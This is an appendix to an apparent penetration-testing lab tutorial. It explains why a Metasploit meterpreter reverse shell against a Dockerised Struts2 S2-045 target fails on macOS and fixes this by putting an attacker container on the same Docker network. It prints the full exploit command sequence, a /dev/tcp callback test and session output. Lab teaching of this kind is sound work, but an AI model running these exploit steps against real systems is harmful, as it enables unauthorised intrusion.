Skip to content

Appendix D. When the reverse shell doesn't come back (the macOS Docker gotcha)

This is a supplement (troubleshooting). The main thread is how to use the three tools: nmap → Metasploit → meterpreter. You only need to read this appendix when you hit the macOS-specific snag where "exploit succeeded but you never get a meterpreter >."


Symptom

When you run exploit in STEP 7, you get this:

[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Exploit completed, but no session was created.
  • check passes (the vulnerability is there)
  • The exploit code is reaching the target too
  • Yet no session (meterpreter) opens

What a reverse shell is (why a "return" is needed)

flowchart LR
    A["Attacker<br>(you)"] -->|① Send the attack| T["Target server"]
    T -->|② The target connects<br>back to you (reverse)| A
    style A fill:#2d333b,stroke:#f85149,stroke-width:2px,color:#e6edf3
    style T fill:#2d333b,stroke:#58a6ff,stroke-width:2px,color:#e6edf3

The reverse_tcp payload works by having the target connect back to you (the attacker) after compromise. So you (LHOST) need to be somewhere the target can reach. If that return path doesn't get through, the attack can succeed and still nothing comes back.


Isolating the cause (don't guess — prove it)

Before guessing "the tool is bad" or "the network is bad," directly test just one thing: whether the target can reach back to you.

Test: can the target container reach back to the Mac host?

# Mac側で待ち受け(別ターミナルで)
nc -l 4444

# 的コンテナから Mac に向けて送ってみる
docker exec struts2-s2045 bash -c "echo HELLO > /dev/tcp/host.docker.internal/4444"

Result:

bash: connect: Network is unreachable

This reveals that the target container cannot reach back to the Mac host. Isolating further:

From the target → Result
External internet (1.1.1.1) ✅ reachable
Other containers ✅ reachable
The Mac host ❌ unreachable

Root cause: how Docker is structured on macOS

flowchart TB
    subgraph Mac["Mac host (macOS)"]
        subgraph LVM["The Linux VM Docker runs internally"]
            C1["Target container"]
            C2["Other container"]
            C1 -.->|✅ reaches| C2
            C1 -->|✅ reaches| NET["External internet"]
        end
        C1 -.->|❌ unreachable| HOST["Listener on the Mac host"]
    end
    style C1 fill:#2d333b,stroke:#58a6ff,stroke-width:2px,color:#e6edf3
    style HOST fill:#2d333b,stroke:#f85149,stroke-width:2px,color:#e6edf3

On macOS, Docker runs containers inside an internal Linux VM. So from a container's point of view, the Mac host is "even further outside the VM," and the reverse shell can't get back.

🔑 This is the conclusion: the reverse connection failed to come back not because of ngrok, not because of the network (CGNAT), and not because of emulation — the cause was "how Docker is structured on macOS." Rather than swapping tools around, isolating the cause with evidence saves you from going the long way around.


Fix: put the attacker and the target on the "same Docker network"

We already confirmed that containers can reach each other. So the fix is simply "turn the attacker into a container too and put it on the same network as the target."

flowchart TB
    subgraph NET["Dedicated network pentest-lab"]
        ATK["attacker<br>Metasploit container<br>10.10.10.2"]
        TGT["struts2-s2045<br>Target server<br>10.10.10.3"]
        ATK -->|Attack| TGT
        TGT -->|✅ reverse shell comes back| ATK
    end
    style ATK fill:#2d333b,stroke:#f85149,stroke-width:2px,color:#e6edf3
    style TGT fill:#2d333b,stroke:#58a6ff,stroke-width:2px,color:#e6edf3

Steps

# ① 専用ネットワークを作る
docker network create pentest-lab

# ② 的を そのネットワークに繋ぐ(既に起動済みの的を接続)
docker network connect pentest-lab struts2-s2045

# ③ 攻撃役(Metasploit コンテナ)を同じネットワークで起動
docker run -d --name attacker --network pentest-lab \
  --entrypoint sleep \
  metasploitframework/metasploit-framework infinity

# ④ それぞれの ネットワーク内IPを確認
docker inspect attacker      --format '{{.NetworkSettings.Networks.pentest-lab.IPAddress}}'
docker inspect struts2-s2045 --format '{{.NetworkSettings.Networks.pentest-lab.IPAddress}}'

Run Metasploit inside the attacker container

# 攻撃役コンテナに入る
docker exec -it attacker bash

# コンテナ内で Metasploit を起動(このイメージでは ./ が必要)
cd /usr/src/metasploit-framework
./msfconsole

Once you see msf6 >, it's the same flow as Chapter 07. The difference: use the "IP within the same network" for the IPs:

use exploit/multi/http/struts2_content_type_ognl
set payload linux/x64/meterpreter/reverse_tcp
set RHOSTS <的のネットワーク内IP>       # 例: 10.10.10.3
set RPORT 8080                           # ネット内では元の 8080
set TARGETURI /showcase.action
set LHOST <攻撃役のネットワーク内IP>     # 例: 10.10.10.2 ← ここが戻り先
set LPORT 4444
check
exploit

This time —

[*] Meterpreter session 1 opened (10.10.10.2:4444 -> 10.10.10.3:xxxxx)
meterpreter >

The reverse shell comes back, and you're in! 🎉 No ngrok, no VPN, no static IP needed.


This lesson carries straight over to real-world work

flowchart LR
    L["Local practice<br>attacker and target<br>on the same Docker net"] -.same principle.-> R["Real work<br>attack machine on the same<br>cloud/network as the target"]
    style L fill:#2d333b,stroke:#3fb950,stroke-width:2px,color:#e6edf3
    style R fill:#2d333b,stroke:#bc8cff,stroke-width:2px,color:#e6edf3

"Put the attacker on the same network as the target and the return-path wall disappears" — this principle holds for online staging-environment assessments too. Put the attack machine inside the same cloud as the target and the reverse connection gets through regardless of the network (CGNAT).

📎 Note: when you can't place yourself on the same network as the target, the alternatives (VPN with a static IP, tunnels, etc.) involve trade-offs around environment, contract, and confidentiality. Details are covered separately as real-world decision-making material.


Cleanup

docker rm -f attacker
docker network rm pentest-lab
# 的も終わったら消す
docker rm -f struts2-s2045